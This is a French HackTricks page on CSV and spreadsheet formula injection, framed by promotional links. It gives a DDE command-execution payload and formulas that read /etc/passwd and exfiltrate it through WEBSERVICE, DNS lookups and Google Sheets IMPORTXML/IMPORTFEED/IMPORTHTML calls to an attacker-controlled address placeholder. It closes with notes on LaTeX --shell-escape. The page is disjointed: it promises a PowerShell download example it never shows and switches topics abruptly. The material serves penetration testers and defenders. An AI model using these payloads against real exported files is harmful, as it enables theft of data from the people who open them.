<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
Si votre **entrée** est **réfléchie** à l'intérieur de **fichiers CSV** (ou tout autre fichier qui sera probablement ouvert par **Excel**), vous pourriez être en mesure d'insérer des **formules Excel** qui seront **exécutées** lorsque l'utilisateur **ouvre le fichier** ou lorsque l'utilisateur **clique sur un lien** à l'intérieur de la feuille Excel.
De nos jours, **Excel alertera** (à plusieurs reprises) l'utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel afin de l'empêcher d'effectuer des actions malveillantes. Par conséquent, un effort particulier en ingénierie sociale doit être appliqué au payload final.
**L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et effectuer des requêtes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).**
Imaginez une violation de sécurité dans un système de gestion des dossiers étudiants exploitée à travers une attaque par injection CSV. L'intention principale de l'attaquant est de compromettre le système utilisé par les enseignants pour gérer les détails des étudiants. La méthode implique que l'attaquant injecte une charge malveillante dans l'application, en entrant spécifiquement des formules nocives dans les champs destinés aux détails des étudiants. L'attaque se déroule comme suit :
* L'attaquant soumet un formulaire de détails d'étudiant mais inclut une formule couramment utilisée dans les feuilles de calcul (par exemple, `=HYPERLINK("<malicious_link>","Cliquez ici")`).
* Cette formule est conçue pour créer un hyperlien, mais elle pointe vers un serveur malveillant contrôlé par l'attaquant.
* Les enseignants, inconscients de la compromission, utilisent la fonctionnalité de l'application pour exporter les données dans un fichier CSV.
* Le fichier CSV, lorsqu'il est ouvert, contient toujours la charge malveillante. Cette charge apparaît comme un hyperlien cliquable dans la feuille de calcul.
* Un enseignant clique sur le lien hypertexte, croyant qu'il fait partie légitime des détails de l'étudiant.
* En cliquant, des données sensibles (pouvant inclure des détails de la feuille de calcul ou de l'ordinateur de l'enseignant) sont transmises au serveur de l'attaquant.
* Le serveur de l'attaquant reçoit et enregistre les données sensibles envoyées depuis l'ordinateur de l'enseignant.
* L'attaquant peut ensuite utiliser ces données à diverses fins malveillantes, compromettant davantage la confidentialité et la sécurité des étudiants et de l'institution.
Dans des configurations spécifiques ou des versions plus anciennes d'Excel, une fonctionnalité appelée Échange de Données Dynamique (DDE) peut être exploitée pour exécuter des commandes arbitraires. Pour exploiter cela, les paramètres suivants doivent être activés :
* Accédez à Fichier → Options → Centre de confiance → Paramètres du Centre de confiance → Contenu externe, et activez **Lancement du Serveur d'Échange de Données Dynamique**.
Lorsqu'une feuille de calcul avec la charge malveillante est ouverte (et si l'utilisateur accepte les avertissements), la charge est exécutée. Par exemple, pour lancer l'application calculatrice, la charge serait :
```markdown
`=cmd|' /C calc'!xxx`
```
Des commandes supplémentaires peuvent également être exécutées, telles que le téléchargement et l'exécution d'un fichier en utilisant PowerShell :
* Lire la première ligne du fichier local `/etc/passwd` : `='file:///etc/passwd'#$passwd.A1`
* Exfiltrer les données lues vers un serveur contrôlé par un attaquant : `=WEBSERVICE(CONCATENATE("http://<adresse IP de l'attaquant>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Exfiltrer plus d'une ligne : `=WEBSERVICE(CONCATENATE("http://<adresse IP de l'attaquant>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Exfiltration DNS (envoi des données lues sous forme de requêtes DNS à un serveur DNS contrôlé par un attaquant) : `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domaine de l'attaquant>"))`
* **CONCATENATE** : Concatène des chaînes de caractères - `=CONCATENATE(A2:E2)`
* **IMPORTXML** : Importe des données à partir de types de données structurées - `=IMPORTXML(CONCAT("http://<adresse IP de l'attaquant:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED** : Importe des flux RSS ou ATOM - `=IMPORTFEED(CONCAT("http://<adresse IP de l'attaquant:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML** : Importe des données à partir de tableaux HTML ou de listes - `=IMPORTHTML (CONCAT("http://<adresse IP de l'attaquant:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE** : Importe une plage de cellules d'une autre feuille de calcul - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID_de_la_feuille]", "feuille1!A2:E2")`
* **IMAGE** : Insère une image dans une cellule - `=IMAGE("https://<adresse IP de l'attaquant:Port>/images/srpr/logo3w.png")`
* **`--shell-restricted`** : Identique à `--shell-escape`, mais **limité** à un ensemble de \*\*commandes \*\*prédéfinies (\*\*Sur Ubuntu 16.04, la liste se trouve dans `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`** : **Active** la construction `\write18{command}`. La commande peut être n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sécurité.
Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter une exécution de code à distance, il est très important d'utiliser `--shell-restricted`.
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.